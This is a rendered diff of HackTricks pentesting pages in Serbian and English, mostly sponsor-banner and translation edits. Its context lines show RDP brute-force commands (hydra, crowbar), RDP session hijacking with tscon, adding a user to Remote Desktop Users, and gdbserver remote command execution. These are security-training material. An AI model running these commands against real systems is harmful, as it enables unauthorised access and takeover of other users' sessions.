Za detaljnije informacije pogledajte post: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html) Za detaljnije informacije pogledajte post: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuni pentest sa bilo kog mesta sa 20+ alata i funkcija koje idu od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Podržite HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Izvršite potpuno pentestiranje sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Eksploatacija ## Eksploatacija
Eksploatacija JDWP-a se oslanja na **nedostatak autentifikacije i enkripcije protokola**. Obično se nalazi na **portu 8000**, ali su mogući i drugi portovi. Početna veza se uspostavlja slanjem "JDWP-Handshake" na ciljni port. Ako je JDWP usluga aktivna, odgovara istim stringom, potvrđujući svoju prisutnost. Ova rukovanja deluju kao metoda otiska prsta za identifikaciju JDWP usluga na mreži. Eksploatacija JDWP-a se oslanja na **nedostatak autentifikacije i enkripcije** protokola. Obično se nalazi na **portu 8000**, ali su mogući i drugi portovi. Početna veza se uspostavlja slanjem "JDWP-Handshake" na ciljni port. Ako je JDWP usluga aktivna, odgovara istim stringom, potvrđujući svoju prisutnost. Ova rukovanja deluju kao metoda otiska prsta za identifikaciju JDWP usluga na mreži.
U smislu identifikacije procesa, pretraga za stringom "jdwk" u Java procesima može ukazivati na aktivnu JDWP sesiju. U smislu identifikacije procesa, pretraga za stringom "jdwk" u Java procesima može ukazivati na aktivnu JDWP sesiju.
@ -80,7 +82,9 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Instantly available setup for vulnerability assessment & penetration testing**. Run a full pentest from anywhere with 20+ tools & features that go from recon to reporting. We don't replace pentesters - we develop custom tools, detection & exploitation modules to give them back some time to dig deeper, pop shells, and have fun. #### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -15,14 +15,16 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Izvršite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
# Osnovne informacije # Osnovne informacije
Godine 1979. razvijen je **Modbus protokol** od strane Modicon-a, koji služi kao struktura za razmenu poruka. Njegova primarna upotreba uključuje olakšavanje komunikacije između inteligentnih uređaja, koji funkcionišu po modelu master-slave/client-server. Ovaj protokol igra ključnu ulogu u omogućavanju uređajima da efikasno razmenjuju podatke. Godine 1979. razvijen je **Modbus protokol** od strane Modicon-a, koji služi kao struktura za poruke. Njegova primarna upotreba uključuje olakšavanje komunikacije između inteligentnih uređaja, koji funkcionišu pod modelom master-slave/client-server. Ovaj protokol igra ključnu ulogu u omogućavanju uređajima da efikasno razmenjuju podatke.
**Podrazumevani port:** 502 **Podrazumevani port:** 502
``` ```
@ -43,14 +45,16 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Izvršite potpuno pentesting sa bilo kog mesta uz 20+ alata i funkcija koje idu od rekona do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
<summary>Podržite HackTricks</summary> <summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>

View file

@ -17,15 +17,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Osnovne informacije ## Basic Information
Razvijen od strane Microsoft-a, **Remote Desktop Protocol** (**RDP**) je dizajniran da omogući grafičku interfejs vezu između računara preko mreže. Da bi se uspostavila takva veza, korisnik koristi **RDP** klijentski softver, dok je istovremeno potrebno da udaljeni računar koristi **RDP** serverski softver. Ova postavka omogućava neometano upravljanje i pristup desktop okruženju udaljenog računara, suštinski donoseći njegov interfejs na korisnikov lokalni uređaj. Razvijen od strane Microsoft-a, **Remote Desktop Protocol** (**RDP**) je dizajniran da omogući grafičku interfejs vezu između računara preko mreže. Da bi se uspostavila takva veza, korisnik koristi **RDP** klijentski softver, dok je istovremeno potrebno da udaljeni računar koristi **RDP** serverski softver. Ova postavka omogućava neometano upravljanje i pristup desktop okruženju udaljenog računara, suštinski donoseći njegov interfejs na korisnikov lokalni uređaj.
**Podrazumevani port:** 3389 **Default port:** 3389
``` ```
PORT STATE SERVICE PORT STATE SERVICE
3389/tcp open ms-wbt-server 3389/tcp open ms-wbt-server
@ -55,7 +57,7 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra # hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
``` ```
### Povezivanje sa poznatim akreditivima/hash-om ### Povežite se sa poznatim akreditivima/hash-om
```bash ```bash
rdesktop -u <username> <IP> rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP> rdesktop -d <domain> -u <username> -p <password> <IP>
@ -70,7 +72,9 @@ rdp_check <domain>/<name>:<password>@<IP>
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i pentesting**. Pokrenite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -90,9 +94,9 @@ tscon <ID> /dest:<SESSIONNAME>
``` ```
Sada ćete biti unutar odabrane RDP sesije i moraćete da se pretvarate da ste korisnik koristeći samo Windows alate i funkcije. Sada ćete biti unutar odabrane RDP sesije i moraćete da se pretvarate da ste korisnik koristeći samo Windows alate i funkcije.
**Važno**: Kada pristupite aktivnim RDP sesijama, izbacujete korisnika koji je koristio sesiju. **Važno**: Kada pristupite aktivnim RDP sesijama, izbacujete korisnika koji je koristio tu sesiju.
Možete dobiti lozinke iz procesa tako što ćete ga iskopirati, ali je ova metoda mnogo brža i omogućava vam da interagujete sa virtuelnim radnim površinama korisnika (lozinke u notepadu bez čuvanja na disku, druge RDP sesije otvorene na drugim mašinama...) Možete dobiti lozinke iz procesa tako što ćete ga iskopirati, ali ova metoda je mnogo brža i omogućava vam da interagujete sa virtuelnim radnim površinama korisnika (lozinke u notepadu bez čuvanja na disku, druge RDP sesije otvorene na drugim mašinama...)
#### **Mimikatz** #### **Mimikatz**
@ -109,7 +113,7 @@ Možete pretraživati RDP-ove koji su već backdoor-ovani jednom od ovih tehnika
### RDP Process Injection ### RDP Process Injection
Ako se neko iz druge domene ili sa **boljim privilegijama prijavi putem RDP-a** na PC gde **ste vi Admin**, možete **ubaciti** svoj beacon u njegov **RDP sesijski proces** i delovati kao on: Ako se neko iz druge domene ili sa **boljim privilegijama prijavi putem RDP-a** na PC gde **ste vi Administrator**, možete **ubaciti** svoj beacon u njegov **RDP sesijski proces** i delovati kao on:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} {% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md) [rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
@ -123,7 +127,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) * [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** je post-exploatacioni okvir kreiran u Powershell-u, dizajniran prvenstveno za automatizaciju **Shadow** napada na Microsoft Windows računarima. Ova ranjivost (navedena kao funkcija od strane Microsoft-a) omogućava udaljenom napadaču da **vidi desktop svoje žrtve bez njenog pristanka**, pa čak i da njime upravlja na zahtev, koristeći alate koji su izvorni deo samog operativnog sistema. **AutoRDPwn** je post-exploitation framework kreiran u Powershell-u, dizajniran prvenstveno za automatizaciju **Shadow** napada na Microsoft Windows računarima. Ova ranjivost (navedena kao funkcija od strane Microsoft-a) omogućava udaljenom napadaču da **pogleda desktop svoje žrtve bez njenog pristanka**, i čak da njime upravlja na zahtev, koristeći alate koji su izvorni za sam operativni sistem.
* [**EvilRDP**](https://github.com/skelsec/evilrdp) * [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Kontrola miša i tastature na automatizovan način iz komandne linije * Kontrola miša i tastature na automatizovan način iz komandne linije
@ -153,7 +157,9 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i pentesting**. Izvršite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -166,7 +172,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Podržite HackTricks</summary> <summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>

View file

@ -17,15 +17,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuni pentest sa bilo kog mesta sa 20+ alata i funkcija koje idu od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Osnovne informacije** ## **Osnovne informacije**
**gdbserver** je alat koji omogućava daljinsko debagovanje programa. Pokreće se zajedno sa programom koji treba debagovati na istom sistemu, poznatom kao "cilj." Ova postavka omogućava **GNU Debugger**-u da se poveže sa druge mašine, "hosta," gde su smešteni izvorni kod i binarna kopija debagovanog programa. Povezivanje između **gdbserver**-a i debagera može se ostvariti preko TCP-a ili serijske linije, što omogućava svestrane postavke debagovanja. **gdbserver** je alat koji omogućava daljinsko debagovanje programa. Radi zajedno sa programom koji treba debagovati na istom sistemu, poznatom kao "cilj." Ova postavka omogućava **GNU Debugger**-u da se poveže sa druge mašine, "hosta," gde su smešteni izvorni kod i binarna kopija debagovanog programa. Povezivanje između **gdbserver**-a i debagera može se ostvariti preko TCP-a ili serijske linije, omogućavajući svestrane postavke debagovanja.
Možete napraviti da **gdbserver sluša na bilo kojem portu** i trenutno **nmap nije sposoban da prepozna uslugu**. Možete napraviti da **gdbserver sluša na bilo kojem portu** i u ovom trenutku **nmap nije sposoban da prepozna uslugu**.
## Eksploatacija ## Eksploatacija
@ -56,7 +58,7 @@ run
``` ```
### Izvršavanje proizvoljnih komandi ### Izvršavanje proizvoljnih komandi
Postoji još jedan način da se **naterate debager da izvrši proizvoljne komande putem** [**prilagođenog python skripta preuzetog odavde**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target). Postoji još jedan način da se **natera debager da izvrši proizvoljne komande putem** [**prilagođenog python skripta preuzetog odavde**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
```bash ```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server. # Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345 target extended-remote 192.168.1.4:2345
@ -198,7 +200,9 @@ RemoteCmd()
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i pentesting**. Izvršite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera na vaše veb aplikacije, mrežu i oblak
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -211,7 +215,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Podržite HackTricks</summary> <summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Osnovne informacije** ## **Osnovne informacije**
**Protokol jednostavne razmene poruka (SMTP)** je protokol koji se koristi unutar TCP/IP paketa za **slanje i primanje e-pošte**. Zbog svojih ograničenja u redosledu poruka na strani primaoca, SMTP se često koristi zajedno sa **POP3 ili IMAP**. Ovi dodatni protokoli omogućavaju korisnicima da čuvaju poruke na serveru i da ih periodično preuzimaju. **Simple Mail Transfer Protocol (SMTP)** je protokol koji se koristi unutar TCP/IP paketa za **slanje i primanje e-pošte**. Zbog svojih ograničenja u redosledu poruka na strani primaoca, SMTP se često koristi zajedno sa **POP3 ili IMAP**. Ovi dodatni protokoli omogućavaju korisnicima da čuvaju poruke na serveru i da ih periodično preuzimaju.
U praksi, uobičajeno je da **programi za e-poštu** koriste **SMTP za slanje e-pošte**, dok koriste **POP3 ili IMAP za primanje**. Na sistemima zasnovanim na Unix-u, **sendmail** se ističe kao SMTP server koji se najčešće koristi za e-poštu. Komercijalni paket poznat kao Sendmail obuhvata POP3 server. Pored toga, **Microsoft Exchange** pruža SMTP server i nudi opciju uključivanja POP3 podrške. U praksi, uobičajeno je da **programi za e-poštu** koriste **SMTP za slanje e-pošte**, dok koriste **POP3 ili IMAP za primanje**. Na sistemima zasnovanim na Unix-u, **sendmail** se ističe kao SMTP server koji se najčešće koristi za e-poštu. Komercijalni paket poznat kao Sendmail obuhvata POP3 server. Pored toga, **Microsoft Exchange** pruža SMTP server i nudi opciju uključivanja POP3 podrške.
@ -102,7 +104,7 @@ MAIL FROM: me
``` ```
### Sniffing ### Sniffing
Proverite da li možete da uhvatite neku lozinku iz paketa na portu 25 Proverite da li možete da uhvatite neku lozinku iz paketa ka portu 25
### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp) ### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp)
@ -169,17 +171,19 @@ Nmap: nmap --script smtp-enum-users <IP>
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuno pentestiranje sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
